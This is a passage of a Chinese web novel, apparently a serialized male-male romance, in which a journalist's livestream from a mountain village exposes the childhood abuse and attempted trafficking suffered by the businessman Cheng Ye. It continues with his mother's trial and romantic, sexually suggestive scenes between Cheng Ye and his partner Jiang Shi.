手机里传来火车鸣笛声,进了山洞,信号不好,李彩英的声音断断续续。 “开学的时候,我老师……说过……新闻是为了把真相归还给大众。” “而现在,我想把属于程野的真相归还给他。”- 自从扒出来程野和江时是情侣关系后,江时的微博彻底沦陷了。 然而不管人们怎么发消息,他从始至终都没回应过一个字,就在大家以为他会接着沉默下去时,他忽然转发了个直播。 不管是吃瓜看戏还是什么的,看见直播间呼啦一下就涌了进去。 出乎他们意料的,直播间里不是江时。 那是一个圆脸女生,扎着一个高马尾,脸上没刘海,眼睛圆圆的,戴着个眼镜。 和外面的腥风血雨相比,直播间里的环境很舒适,李彩英坐在车里,窗外是连绵的青山。 她调整了下镜头,笑起来嘴角露出两个梨涡,“人比我预想的还要多。大家好,我叫李彩英,是一名记者,我现在前往的地方是林城的溪柳村。” “如今关于恒远董事长母亲状告亲儿子杀了自己父亲这个新闻最近很火热,而我现在前往的地方就是程野当初生活长大的地方,我会探寻溪柳村,带你们了解程野究竟是个怎么样的人。” “为了避免有的人说我找人演戏,所以全程我将采取直播的方式,后续会发布剪辑版本。” 她把车票放在镜头前,“这是我买的火车票,当天的,现在在去往溪柳村的车上,师傅说还有五分钟就到街上了。” 咔哒—— 昏暗的房间亮起灯,江时陷进沙发里,电脑屏幕上全是密密麻麻的弹幕。 他没在意弹幕说什么,而是看着镜头扫向熟悉的街。 李彩英下了车,和来途的颠簸不同,村里的路看起来竟意外地不错。道路看起来修了没几年,干净宽敞地连着家家户户。 下车的地方对着一家粉馆,李彩英带的是微型摄像头,当成装饰别在胸口,这个位置看不见人脸,也不会觉得怪异。 村里人烟稀少,年轻人大多外出求学打工,只剩些年纪大的人。 粉馆的老伯端着潲水出来倒,李彩英上前问路,“你好,请问你知道程野家吗?” 老伯倒水的动作停顿一下,打量了眼李彩英,“知道,往上走,爬过那个山,见着的那个村子就是,你找他干什么?” 李彩英说:“我是个记者,听说程野的事迹,来采访一下。” 听她这么一说,老伯倒完潲水站在门边,嗒吧着抽了好几口烟,“程野啊,听说他发达了,还在江城当起了老板,有钱着呢。” 他伸手一指,“看到这路没,就是他出钱修的。不过这孩子啊……打小就过得可怜。” “怎么这么说?” “还能怎么说?他的事大家都知道,他那个妈是个狠心的,带着他弟跑了,他爸简直不是个人,天天打他,连饭也不给吃。他偶尔来我这里卖点菜,就捡客人吃剩的东西吃……” 就这么短短几句话的功夫,直播间的观看人数几乎达到了上百万。 李彩英看不见弹幕,她跟老伯告别,背着包往前走。 走了一段距离,路口蹲着个五十多的男人,手里拿着杆旱烟,吐出的烟雾模糊他的面容。 看见李彩英上来,男人站起来,“你就是要来我们村的记者?” 走了这么会,李彩英额角冒着热汗,她回了个“是”。 男人道:“我叫高权,我有个儿子,跟程野是朋友,他让我来接你,山路难爬,我捎你一程。” 李彩英扭头,看到了旁边停着的摩托车。 她问高权,“你知道程野的事吗?” “知道。” 高权说:“我知道又有什么用,谁来听我说?大家都去听高兰的,她毁了程野半辈子还不够,甚至还想毁了他一生,当妈当成这样的,我还是第一次见。” 李彩英还想问些什么,高权跨上摩托车,“上来吧,我多少算他半个舅舅,我说的你未必会信,我带你去问别人。” 直播间里很安静,只有摩托驶过的风声,白鸟从镜头掠过,背景的青山高而远。 溪柳村的大榕树还在,枝叶茂密摊开,温柔而沉默地守护着这寸土地上的每一个人。 高权带着李彩英往榕树下走,他说:“村子里没什么年轻人,现在不是农忙时候,大家午后都会来榕树下乘凉,这里人多。” 远远地,镜头里能看到榕树下坐着一群人,女人们在聊天纳鞋垫,男人们围成一圈打牌。 看见高权带着个年轻女生走来,眼尖的人开始大声喊:“老高,你带的谁啊?不会是你家新和女朋友吧?” 高权说:“滚犊子,这是我媳妇姨娘家的闺女,来这里玩两天。” 李彩英就这样融进了圈子。 她坐在纳鞋垫的大妈中间,每人分了把瓜子,“我听说你们村有个名人?” 大妈们一拿着瓜子就跟打开某种开关一样,话不自觉就讲了出来。 “你是说程野吧?了不得呢,开了公司,自己当大老板,十里八乡的,谁有他有钱?” “有钱怎么了?我听我闺女说了,说他杀人了?” “啊?杀人,杀谁了?” “他那个跑掉的妈你们还记得不?他妈说他把他爸给杀了。” “程建斌不是喝酒喝死的吗?怎么成程野杀的了?” “谁知道呢……” 李彩英适时补充细节,“我也看了,他妈说他往他爸酒里倒农药了。” “胡扯呢!”正在打牌的大爷甩了张K出去,“那农药味道大得能呛死人,放酒里他爸闻不出来?再说了,程建斌走的那天喝酒我也在,他来的时候身上一点酒味也没有,我们喝酒,吃兔肉,他差点还和我打了起来。后面我俩回家,我看着他走了小路,我本来也想走来着,觉得晦气,就从大路绕了。” 于是又有人笑,“人不会是你害死的吧?” “滚滚滚……我哪有这个胆子,前两天警察来我都解释清楚的好吗,要是真是我害的,我还能在这里打牌?” 李彩英调整了下摄像头的位置。 她又问:“既然这样,那高兰为什么一口咬定是程野害了他爸?” “我跟你讲,你可别往外说。高兰这个人啊,打小就不待见程野,知道的以为是她亲儿子,不知道的还以为是她仇人。” “高兰老家是隔壁寨子的,我娘家也是,我们打小就认识。她这人不太行,好吃懒做的,仗着自己有点姿色,老爱做山鸡变凤凰的梦。后来她全家没了,她遇到了程建斌,程建斌年轻的时候长得还行,一说要娶她,她立马就同意了。” “我还劝过她来着,可她就是不听,非要嫁给他。” “这程建斌也对她好了一段时间,然后就原形毕露,打她。她生了程野,喝起酒来,连着程野也打。” “噢……只有对那个小的稍微好点。” 李彩英神色严肃,“可是高兰不是说程野跟陈建斌像,程建斌对他最好吗?” “我呸!好个屁,最惨的就是程野了。这孩子老实,话也不说,被打了就挨着,痛了也不哭,他那个弟弟……” 妇人伸出手比了比,“这么点高吧,那时候也才四五岁,简直跟高兰那个死出一模一样。磕破点皮就哭,年纪轻轻的偷我家鸡蛋吃,嘴角还挂着蛋白呢,非说是程野吃的。” “说起这个我也想起来了,那时候去他家拿东西,大的那个被打得满脸的血,小的那个就擦破点皮,高兰不护大的护小的。” “见过偏心的,没见过这么偏心的。现在人家程野有钱了,我看她就是想图他的钱才胡说八道,嘴这么毒,也不怕被雷劈。” “后来高兰带着小的那个跑了,程建斌气得打程野,你是没见过那场面,要不是村里人看不下去报了警,程野都快被打死了。” 李彩英很冷静地问:“高兰还说她有回来想带走程野。” “回来?她什么时候回来过?” 里面有个人神色变了变,她扒拉开坐在李彩英身边的人,主动坐了过去。 “我看到过她回来过。” 说话的是那个跟高兰从小长大的人。 “我跟她玩了这么久,看走路姿势和身高一看就认出来了,浑身上下包的严严实实的,我以为她是来找程野的,就上去跟她说话,结果她非说我认错了人,然后跑了。” “回去的路上我看见还在地里干活的程野,就跟他讲了。” “再后来没几天,程建斌就死了。” 直播间里的光映在江时脸上,他的脸被榕树的颜色蒙上一层绿。 他的思绪被拉走…… 审讯室的窗外还在下着雨,雨下得那么大,连程野的声音都快听不清。 “那天我在地里干活,村里的一个婶子找到我。她跟我说,她看见一个鬼鬼祟祟的人,那人很像我妈。” “我以为她真的偷偷回来找我了,于是我丢下锄头,跑回了家。” 溪柳村那年的冬天太冷了,程野手脚冻得通红,身上的衣服还是高权的旧衣服,他人瘦得只有一个骨架,走在雪地里连声音都听不见。 木屋子很安静,他站在门口踌躇着要不要推门,里面就传出高兰的声音。 “六十万的拆迁费,程建斌你想清楚点,你这辈子见过六十万吗?只要你跟我离婚,我跟他结了婚,这六十万就是我们的了。” “我呸!”程建斌骂:“你这个贱人,当初背着我偷偷跑了,现在还想回来跟我离婚,老子跟你离婚了,钱你拿到手,跟我有什么关系?” “你傻不傻呀……”高兰的声线细细的,“那男的病了,指不定哪天就死了,我跟他结婚,那这钱到最后还不都是小纵的,你是小纵他爸,他拿了钱能不管你?” “而且小纵不是程野,他会记得你的好的。程野就是个养不熟的白眼狼,你真以为下半辈子能指望他?” “行啊……”程建斌说:“要离婚可以,得先给我钱。” “我哪有钱……”高兰哭了起来,“拆迁款还有好几个月才下来,我要供小纵读书,还要给那个男的付医药费,我哪里有钱给你?” “我发誓,等到钱一到手,我就分给你,五万……五万怎么样?” “六十万的拆迁款,你只给我五万,高兰,你打发叫花子呢?” 高兰哭得更大声了,“这钱要拿来养病和生活的呀,都给你,小纵怎么办?” “建斌,你就把钱留给小纵吧,他在学校里成绩可好了,以后肯定能考个好大学出人头地,然后他再考个官当,风风光光的……” 程野站在门外面点了根烟。 过几分钟,程建斌终于松口了,“行,记住你说的话,程纵是老子的种,哪怕认了别人当爹,以后也要回来孝敬我。” 高兰起身去翻两人的身份证,程建斌问她,“那程野怎么办?” 高兰沉默了会,然后哭泣,“我、我怕程野,他就是个怪物,他不正常。” 程建斌也觉得程野不正常,他眼底里凶光越来越盛,他最近都不敢跟他动手。 高兰说:“拆迁款还有好几个月才到,但这段时间小纵的养父需要钱,我实在赚不了那么多钱。” “小纵……小纵说,他在学校里认识一个哥哥,那个哥哥说缅甸那边工资很高,如果能介绍人过去的话,介绍费……介绍费五千……” 程建斌不傻,一脚就把高兰踹倒在地上,“高兰你个贱女人,你要卖你儿子?” “不……不是卖……”她嗫嚅道:“只是介绍……” 说完她又崩溃地哭了,“我能怎么办?程野恨我,难道他就不恨你吗?等到他以后长大了,你说他是先杀我还是先杀你?我都跟你说了,他是条养不熟的白眼狼,他现在还小,那以后呢?你是指望着他给你养老送终还是指望着他给你送下去?” “五千呢……程建斌,我们家以前一年的生活费也才一千……” 程建斌沉默了。 程野丢下烟头,抬脚踩灭。 一根烟的功夫。 两个人。 十七年。 五千。 第105章 网络上舆论的风向彻底发生转变。 李彩英的最后一站是程野家。 这么多年过去,木头做成的房子早就腐朽。蛀虫是从里面开始吃的,平日里察觉不到,一旦到了夜深人静的时候,就会发出令人牙酸的声音。 于是撑着一个家的脊梁断了,于是遮风挡雨的瓦片碎了,于是遮光的墙壁漏了…… 轰隆一声,在无人在意的时候,房子坍塌,废墟里爬出来一个孩子,他以为能见到阳光,语言又把他钉回沼泽。 高权望着屋子。 “说起来,我们村的人都对不起程野。” “老话说,会哭的孩子才有糖吃。程野从来不哭,我看他被程建斌打得半死了也没哭过一声。小时候我们没能帮到他什么,后来他好不容易靠自己走出溪柳村,逃离程建斌、逃离高兰,他现在的成就不靠谁,全是他自己拿命去拼。” “村里人势利眼,大家见他现在过得好就忘了他以前有多苦,总说他不讲情谊,背着所有人发财。可他们再怎么坏,做人的良知还是有的。” “出事的时候,我看着那些人拿着手机学着打字,在网上给程野说话,可我们村才多大点,一个村又有几个人,讲出来的话跟汪洋大海里的几滴水一样,什么用都没有。” 高权又抽起了旱烟。 烟雾从他跟前飘起,飘到溪柳村的上空,头顶太阳亮堂堂。 “如果不是江时,程野不知道死几次了。” “李记者,如果可以,请还程野一个公道吧。” 直播间的画面最后定格在那栋几乎快要成废墟的房子上。背后是山,跟前是地,阳光刺眼,撑着房子的最后一根柱子也断了。 轰隆一声,房子在画面里彻底报废,烟尘四起。 那一刻,密密麻麻的弹幕停滞,直播间像卡了一样寂静。 审讯室里,警察问:“你说高兰和程建斌要合伙卖了你?” 程野藏在心底最深的那块疤被硬生生剜了出来,明明很痛苦的一件事,他却说得很平静。 “高兰说,她会假装回来接我,让我跟她走,接头的人开着车来,只要上了车,我就走不了了。” “你报警了?” “没有,我不知道要怎么做,他们是我父母,父母却想把孩子卖了。” “我假装什么都不知道,回了家。他们那天对我很好,高兰没给我甩脸色,程建斌也没打我,他给了我钱,说今天高兴,让我去给他打酒喝。” “后来高兰回去了,她跟我说她稳定下来了,要带我离开程建斌,但是要我等两天,她找了人来接我。” “之后过了两天,程建斌去喝酒,死了,高兰后面没有任何踪影,程建斌的葬礼她都没回来。” “现在想来,可能是她以为是我害死了程建斌,觉得事情败露,害怕回来我连她也杀了,一直不敢回。” 警察看了他一眼。 程野低垂着眼,看似冷静,眼眶里泛着红。 最终警察幽幽叹了口气,“情况我们已经了解了,我们会派人去核实,在这期间,如果有什么事,希望程先生多配合我们。” 询问到此结束,直播也到此结束。 电脑黑屏,屏幕上倒影着江时的脸。 电话响起,霍寂的未婚妻,李雪岚跟他说:“江时,我看完直播了,我愿意帮你们。” 江时问她为什么想通了。 李雪岚笑了声,“你说得不错,人不是傀儡,我有思想,我有自由,我总得为自己活一次,而且不管我喜不喜欢霍寂,他这个人的确不值得我托付终身。” “我们家和霍家一直都有生意往来,我们俩的婚姻从小就定下了。几年前,他想悔婚,结果就是被送到了国外,我父亲为了笼络霍家,把我也送了出去。” “我知道他一向玩得花,但也知道我跟他只是利益关系,所以从来不管他。可能正是因为这样,他在我面前从来不避讳,关于他的,我知道得比谁都多。” “江时,霍寂吸了……” “……” 门被敲响,江时看着已经挂断黑屏的手机起身去开门。 外面站着程野。 外界风风雨雨的,他本人看起来倒没怎么受影响,拎着个保温盒站在门口,“到饭点了,我来给你送饭。” 江时很是无语。 他一把把他拽进来,“不是跟你说让你待家里吗?” “无聊,外面那些记者困不住我,高新和说他联系到了一名愿意免费帮我们的律师,我来看看。” 律师不在公司,程野拎着盒饭跟江时改道餐厅。这还是江时第一次带着盒饭去吃饭,他抬着手肘给了程野一下,“你是怎么想的?” 程野笑了声,“想见你,随便找了个借口。” 落日熔金,天边被染成橙黄,橙黄蔓延,映在江时脸上,他弯着眼睛露出一个笑。 律师是个看起来挺年轻的女生,一身穿搭看起来很干练,她笑着朝程野伸出手,“您好,叫我张媛就行。” 张媛从包里拿出一叠案例递给程野,“这个是我这些年来经手的案件,我知道以您的能力可以找到更有威望的律师,不过我一直在关注国内的问题儿童,希望可以帮到您。” 高新和在一边笑得露出一排牙齿,“先吃饭、先吃饭……” 一顿饭谈了很多。 张媛说:“如果您想告高兰的话,拐卖无疑是最好的切入点。虽然过去很多年了,但并不是没有头绪,从你的证词里,李纵说人是他在学校认识的哥哥,那人又是谁?他既然认识,那他有没有参与其中?背后是不是有一条更大的产业链?” 程野无悲无喜地听她分析,听完了,他才开口,“这件事麻烦你了,到时候多少钱我会联系公司财务给你。” “不用……”张媛朝江时看去,露出一个很是不好意思的笑,“其实……我是江时的粉丝。” 江时有些意外地朝她看去。 张媛从包里翻出一个笔记本,“我……我挺喜欢你的,你能给我签个名吗?” “行啊……”江时接过笔记本,“签什么?” 张媛红着脸说:“就、就签全世界最最最爱江时的媛媛。” 程野:“……” 高新和:“……” “咳!”江时咳了声,“这不太好吧?” 高新和伸手去拽她,感觉自己像个小丑,“媛媛,这不太好吧?” 江时看了看两人,忽然想起什么,“她就是那个……” 高新和嘿嘿笑,“我女朋友,她说怕碍于我们的关系,你们想拒绝不好意思说,就没让我讲。” 张媛捧着脸,“我也没想到你们俩还是表兄弟,那我是不是可以喊你表哥呀?” 江时好脾气地笑了笑,“当然可以,说不定以后还是一家人呢。” 张媛笑出了鹅叫声,不知道为了跟张新和结婚高兴,还是为了跟江时当一家人高兴。 唯二不高兴的只有程野跟高新和。 程野朝高新和使眼色:管管你女朋友。 高新和:“……” 高新和谁也惹不起。 最后江时还是给她签了个“to全世界最最最善良的媛媛”。 张媛捧着笔记本原地蹦哒好几下,念念不舍地看着江时,“我能跟你抱一下么?” 程野挡在两人中间,“不能。” 江时拽了他一下,“你怎么跟人家张律师说话的?” 张媛也不生气,她切换回工作模式,“我先回去收集材料,程总,有事联系。” 临走时,张媛跟江时告别。 “再见,小表哥。” 想了想,她又道:“再见,小表嫂。” 包间门缓缓合上,江时对着程野笑,“小表嫂,感觉如何?” 程野说:“挺好。” 他伸手去拉江时,述说自己的委屈,“你都没给我过TO签。” 念他最近这么苦,江时摸摸男人硬硬的发茬,“给你签,要多少都给签,签多长都行。” 程野道:“就签‘给全世界最最最最爱江时的程野’。” 比张媛还多一个最。 “行,签哪里?” 程野滚了下喉咙,“签我大晋江上。” 江时:“??” 他说:“滚。” 有的人果然不能给一丁点好脸色。 两人从包间出来天都已经黑了,天际晕染出深蓝的黑,街边行人寥寥。 江时带着帽子,带着口罩,程野也带着口罩,脱离了网络和堵在公司门口的记者,现实里没谁会在意他们的脸。 两人就这么并排走了会,江时伸手拍了拍程野的肩,“你背我呗。” 程野在他跟前蹲下身。 江时跳上他的背,看着路灯把他们的影子拉长压扁。 晚风带着凉意,江时伸手摘下一片梧桐的叶子,“直到现在,我感觉还跟做梦一样。好在,一切都要过去了。” 程野“嗯”了一声。 江时弯下腰伸手圈住他的脖子,“程野,都到这步了,你就没有什么想跟我说的吗?” 程野迈出去的步子顿了顿,“说什么?” 江时抬手揪住他的耳朵。 “那天在警察局的时候,你说谎了,或者说,你没全说实话。” 程野从喉咙里挤出一声笑,“为什么这样说?” “你能骗别人,但你骗不了我。十一二岁的程野或许会渴望爱,但十七岁的程野不会。” 他只给自己一根烟的时间。 从愤怒、麻木,再到冷静、冷血,被踩在雪地里的不止是烟蒂,还有他心底残留的一丝感情。 高兰和程建斌用一根烟的时间出卖了他的一生。 他也用一根烟的时间决定了未来要怎么走。 程家的基因就是如此,每个人都冷血得可怕。 第106章 江时的脸贴在他颈侧,呼吸融进皮肤,“程野,程建斌是你杀的吗?” 头顶树影将他们的影子剥离,程野每走一步都很稳。 “不是。” “我想过杀他,但绝不是在高兰回来没几天的时候,太明显了,我的嫌疑太大了。” “可能是上天见我可怜,还没等到我动手,他自己就死了。” 死在他最爱的酒上,孤零零地躺在无人问津的地里。他闭着眼睛,陷入一场美梦,冰冷蚕食着他的身躯,白雪将污浊一点点掩盖,直到尸体连着冻得僵硬的泥土一道翻起。 江时说得不错,十一二岁的程野或许会渴望亲情,但十七岁的程野绝对不会。 当初高兰走的时候哄骗他会回来接他,那时候他小,还会信,所以忍着打也要一天天等着,等着高兰实现她的诺言。可时间越长,谎言就变得跟纸一样薄。 程野不需要向高兰问个分明,他自己亲手戳破了那张纸。纸后的世界空荡荡,他父母双亲尚在,活成了个孤儿的模样。 但程野奇异地并不觉得难过。高兰没说错,他的确是个没有心的怪物。 其实初中的时候他就已经有了养活自己的能力,他也想过就这样走了。可他心底一直憋着一股气。他不能走,他走了不就意味着跟高兰一样害怕程建斌?他要堂堂正正地站着,打倒这个男人,而不是懦弱地选择逃跑。 高兰回来的时候他就知道她肯定不是来带他走的,所以听见她和程建斌的对话程野也不觉得意外。 他站在门口抽完了一根烟,踩灭烟头,肩上顶着寒意,黑色短皮衣背后染着洗不掉的污垢。 程野摊着一双冻出冻疮的手推开门。 声音很大,引得正在说话的两人回头。 十七岁的少年逆着光站在门口,身形消瘦,风从他身后灌进来,他抬起一双黝黑的眼眸。 形如鬼魅。 高兰被吓到尖叫,程建斌还算镇定,脸皮抖了下,抬脚踢上一边的椅子。 “不是让你去地里打猪草吗?这么早回来干什么,你活干完了?” 程野说:“镰刀断了,回来换一把。” 程建斌在门口果然看见一把断了的镰刀,还不等他说什么,程野扭头看向高兰,露出一个笑来,“妈,你回来了。” 高兰看见对面的少年扯着嘴角,眼里哪有笑意,看向她的眼神,像狼一样泛着幽光。 高兰又发出一声尖叫。 程野觉得没趣。 程建斌觉得她疯疯癫癫的,程野是她儿子,她看见程野怎么跟看见鬼一样。 他伸手推了把程野,“你妈想开了,回家来看看,她的事丢人,你别往外说。行了,去忙吧。” 时间拉回江城八月的盛夏,蝉鸣声起,程野道:“你说她蠢吧,她坏事做尽,你说她聪明吧,什么事都藏不住。蠢也蠢不彻底,坏也坏不明白。” 江时又问他,“那她为什么一口咬定你给程建斌酒里下药了?” 程野说:“我吓她的。” “我出去后她估计是被程建斌教训了,晚上回来对我态度好了很多。就这么过了一天,第二天程建斌心情很好,给了我钱,让我去给他打酒喝。” “村里眼睛多,高兰不敢多待,我走后她也走了。” “打酒在街上,坐车的地方也在街上。我去的路上遇到张婶,她说她楼上老鼠闹得厉害,再这么下去,年还没过完,粮食就先被吃完了,她让我给她带瓶敌敌畏回去。” “买药的时候我看到了高兰,她坐在车里,她看见了我,我也看见了她。” “我吓唬了她,当着她的面拧开敌敌畏的瓶子……” 说到这里,程野笑了声,“谁能想到她胆子那么小,一瓶药吓得一辈子都不敢回溪柳村。” 江时嘴巴有些发苦,“那如果程建斌没发生意外……” 程野掂了掂手里的两瓣,听着江边传来汽船的鸣笛,灯塔亮起光芒。 “如果没有意外,说不定我哪天想不开就拉着程建斌一起死了,那时候的我活着挺没意思的。” 察觉到背后的人紧绷起来的身体,他又道:“现在不一样,现在我很惜命的。” 惜命到那么抠的人年年跑去体检。 江时听着有点想哭,又有点无语,“你既然都记得,为什么不跟警察说?” “不能说。” “为什么?” “少爷想听真话还是假话?” 江时朝他扬起沙包大的拳头,“我只靠实力说话。” 青年十指细长,攥起来骨节还带着粉,程野看了眼,又看了眼,成功被威胁到了。 “过两天调查结果出来你就知道了。” 又等了两天,结果终于出来了。 当初给江时带路的那个警员找到他们,脸上带着笑,“时间过去太久了,我们找了好多地方,终于在一家诊所找到当年的监控。” 他问程野,“在程建斌让你去打酒的那天,你有没有遇到谁?” 程野茫然地摇了摇头,“那段时间我太混乱了,很多事都记不起。” 警员道:“记不清是正常的,毕竟也过去那么久了。监控显示,那天你在街上买过一瓶敌敌畏,刚好被坐在车上的高兰看见了,她误以为你把药放到酒里给程建斌喝了。” “我问过村里一个姓张的人,她说那天的确找过你,让你买药,说是家里的老鼠多,你对这个有印象吗?” 江时看了程野一眼。 程野像是在回忆,好一会才道:“想起来了,程建斌让我去打酒,我在路上遇到了张婶,她说家里有老鼠,让我给她带瓶药。但我没想到她会以为我……” 警员有些心疼地拍了拍程野的肩膀,“不是所有父母都配当父母,程先生,不用太难过。” “另外,高兰因为涉嫌拐卖,已经被我们拘留了。李纵这些年因为赚钱,涉及了不少违法的事情,而且根据你的证词,拐卖的事他也有参与,说不定背后还牵扯更多更大的案件。” 说到这里,警员有些唏嘘,“当时这孩子不过初中就有这么狠毒的心肠,这要是大了……” 他自觉失言,止住话跟他们告别,“程先生,没什么事我就先回去了。这些年你的辛苦和困难大家都看在眼里,你放心,我们一定会还你一个公道的。” 警员走了,大门合上,窗户里透着光进来。 阳光照在客厅,爬上江时的脚尖,他后背泛起一阵冷意。 他终于明白程野说的到时候他就懂是什么意思。 那日,在警局里沉默,吞吐,以及像个孩子一样压抑着悲伤的述说全是假的。 他把自己放在一个受害者的位置上,像一个真正的十七岁的孩子那样,心里渴望着爱,却又被他爱着的父母一步步推下深渊。 在警员和众人眼里,程野是有感情、有温度的,他再怎么聪明冷静也只是个十七岁的少年,所以他们眼里的程野本来就记不住买农药这件对他来说微不足道的事情。 他像个看客,把自己从中剥离出来,冷静地分析怎样做才能换取最大利益。 正如高兰说的那样冷血无情。 也正如他跟江时说他从来没有变过。 …… 程野伸手握住江时的胳膊,他没说话,掌心的温度很烫,烫到快要把江时融化。 江时转身伸手抱住他。 程野僵了瞬,然后更用力地回抱过去。他双臂紧箍着江时的腰和肩,恨不得把全身的血和肉都挤进去。 江时把脸埋在他胸膛上,便听见低沉的声音在头顶响起,“不怕我?” 抱得太紧,江时动不了,只能小幅度地摇了摇头,摇完了,又补充一句,“不怕,你跟他们不一样。” “哪里不一样?” “他们纯坏,你不一样,你好。” 笑声便从胸膛震动着发出来,“那是因为我只对你好。” 江时问他,“那你有违法乱纪吗?” “逃课翻墙出去,跟人打架算吗?” “不算,所以你是好人。” 想了想,江时踮起脚尖揉了把程野的头,“不要总说自己冷血冷心,你没有,我摸过了,明明是热的。” 平日里总是对他横眉冷眼的少爷难得如此软着性子安慰人,程野有些受用,然后又忍不住犯贱。 高低两个人交叠在一起,程野抓着江时的手往自己身上摸,隔着轻薄的居家服,掌心能感受到腹肌的轮廓。 “是热的,对你一个人发热,你摸摸。” 江时收了收指尖。 程野说:“下面也是热的,不仅热还烫,激动了还会跳,难受了会吐水,你也摸摸它。” 江时:“……” 不管黑的白的,在程野这里,永远都是黄的- 开庭那天,江时和程野去了。 高兰带着镣铐,神色比之前还要苍老憔悴,她找不到辩解的,坐在椅子上只是哭。 江时和程野戴着口罩坐在人群里。 但高兰对程野很敏锐,往人堆里一扫就看见了程野。对着他的眼睛时,她发疯一边尖叫起来。 “是你……是你在害我!你是来索我命的对不对……” 叫完她又哭。 “对不起,我错了,我不应该……这不能怪我,求求你,放过我,我不想死……” 好好的开庭,被她忽然发疯搅得一团糟。 程野看了两眼就没再看,他拉着江时出了法院,门口停着他们的车。 上了车,江时勾着安全带,很是好奇,“她为什么那么怕你?” 程野拽下他的口罩,探过身亲了他一口。 “她不是怕我,她是怕鬼。” 心里的鬼。 第107章 回去的路上下了雨,江时和程野暂时都还没恢复工作,下雨天窝在家里舒舒服服吃火锅。 他们用李雪岚给的线索联系警方,警方蹲了好几天,终于在一家会所里蹲到了霍寂。 窗外的雨还没停,警察给江时打电话。 “霍寂跑了。” 他眉头缓缓皱起来。 浴室里程野还在洗澡,江时站起身把窗户开了条缝,风卷着雨灌进来,吹得他眼睛眯了眯。 今天的雨太大了,很多地方都发了防汛通知。这么大的雨,一个人的痕迹不消片刻就被抹去了踪迹。 他站着发了会愣,忽然一只手从他侧边伸过来把窗户关上,“发什么呆?雨都进来了。” 程野带着满身的热气,抬手刮掉落在江时发梢上的雨珠。 江时说:“霍寂跑了。” 程野也皱了下眉头,不过很快又展平,“没事,跑得了和尚跑不了庙,会抓到他的。” 他走到床边,拉开床头柜,从里面拿出一个盒子,拍了拍旁边的床铺,“不要想不重要的人了,过来,给你看个东西。” 江时好奇地走过去在程野旁边坐下。 程野拿着盒子单膝跪在江时跟前,他弯下腰撩起青年的裤腿。 江时不像他体毛多,一双腿笔直匀称,晒也晒不黑,散发着珍珠一样莹润的光泽。 很早之前,这只腿的脚踝上戴着根脚链,有一次他动作太大,把线给扯断了,就这么空了几年。 程野打开盒子,露出里面的东西。 江时低头看去,那是根崭新的脚链,顶端依旧坠着玉兰,温润、透亮,花瓣半开,里头含着一个纯金的铃铛,外面的红线穿着几颗闪闪发光的金珠子。 程野托着江时的脚,低头把脚链给他带上。 “刚认识你那会,我穷得什么都没有,甚至还带着你去街上摆摊卖东西,那时候我就想,你那么好看,得穿金的戴银的。还好我实现了当初的诺言,你穿金戴银果然很好看。” 江时撇嘴,“金灿灿的,俗死了。” 话是这样说,但他搭在程野身上的脚自始至终都没动一下。 程野伸手拨了下玉兰,清脆的铃声在卧室响起,他挑着眼睛看江时,眼眸漆黑,里头闪烁着蛊惑的意味。 “最近发生太多事,太忙了,好久没剃毛,下面的毛长出来了,少爷要试试看吗?” 江时倏地一下把脚收回去,“你、你在说什么啊。” 程野身上就裹了件浴袍,大半个胸膛裸露在外,他伸手勾了勾系在腰上的带子,于是浴袍的领口开得更大。 江时受到蛊惑一样往他身上看。 敞开的胸膛,健硕的胸肌,褐色的……以及心口蔓延下去的毛发,剃干净了,又长出来,带着蓬勃的热度,连白色浴袍都藏不住的荷尔蒙,就这么猝不及防地朝江时满脸扑来。 城里人都斯文,可程野不一样,程野身上带着股野性。那双漆黑的眼睛就这么直勾勾地盯着江时,明明什么都没做,明明两人中间还隔了点距离,可江时感觉自己跟被火燎到了一样,浑身发烫发紧。 他抬着脚想往床上缩,被程野伸手拉住,铃铛晃动,跪着的人上了床。他依旧保持跪着的姿势,腿岔开,浴袍带子松松垮垮,衣襟打开,就这么敞着。 “少爷……要摸摸看么?” 嘴上在询问,手却抓着江时的手往身上放。 半长不长的,刺棱棱的,扎手,还发烫,紧贴着男人的小腹,手掌随着呼吸起伏。 程野说:“我洗过了,不脏也不臭。”他弯着腰贴近江时,“要试试看吗?会很爽的。” 他讲话像带着钩子,勾得江时一步一步往坑里跳。 爽是真的爽,麻也是真的麻。 屁股被扎得麻,脸也被扎得麻。 身体使用过度,江时裹着被子在床上睡了一天。晚上刘和平给他打电话。 “祖宗,你在干嘛呢?” 祖宗一看时间,都下午四点了,“睡觉啊。” 刘和平恨铁不成钢,“睡睡睡,你这个年纪怎么睡得着的?” 江时说:“你要养妻儿,要还房贷、车贷,你当然睡不着了。” 刘和平:“……” 事情风波平息了,他才敢上门兴师问罪,“你就没有什么要跟我解释的吗?” 公司不能一日无主,天一亮,程野就被陈朗抓去开会,家里只有江时一个人,还没到饭点,程野就叮叮咚咚给他发消息催他去吃饭。 江时拿着手机看了眼消息,打开免提,回刘和平的话,“我跟你有什么好解释的?” 刘和平阴侧侧地,“呵,没有?那新闻上那位大名鼎鼎的程总又是谁?咱们公司又是谁的?” 江时回程野个“。”,继续在被窝里躺着,“啊?你不知道吗?” 刘和平现在的心情很不和平,“我应该知道吗?你有跟我说过吗?” 江时想了想,“估计是我忘了吧,他干什么的又不重要。” 哪里不重要了! 刘和平简直抓狂,“那是恒远!恒远!你知道他公司值多少亿吗?你知道多少人天天排队要跟他见面吗?” 他简直服了。这么多年,整整这么多年了,他竟然才知道程野是恒远的总裁! 其实这也不能怪他傻,程野本人十分低调,从来不参加没必要的聚会,从来不约不重要的局,偶尔上个新闻也只有几个模糊的剪影,见他一面难如登天。 刘和平从来不关心财政新闻,每次去江时家总能看到一个男的穿着个老头背心在他家院子里种地。家里的地,程野拖,家里的饭,程野做,东西坏了,程野修,不是保姆,堪比保姆。 他自然就以为程野是江时养在别墅里的,都靠江时养了,干点活怎么了? 哪能想到世界这么魔幻。 外头传得如此神秘的总裁天天在江时家的小别墅里cos农村汉子。 他又问江时,“那你知道我们公司其实是被他买了吗?” “知道啊。” 刘和平:“……” 合着他身边这位才是资源咖。 “不是……”刘和平很是不能理解,“公司都是他的,那不是想给你什么资源就给你什么资源,这么多年来,发到我手上的怎么只有配角的本子?” 外头都是怎么传江时的,江男配,出道多年,归来仍无一部主演戏。 江时穿着拖鞋下楼。 “那是我不喜欢当主演,戏份太多,拍摄周期太长,多累呀。” 配角就挺好,钱也赚了,戏也演了,还没那么累。 刘和平再次:“……” 江时道:“你找我就是为了说这个?” 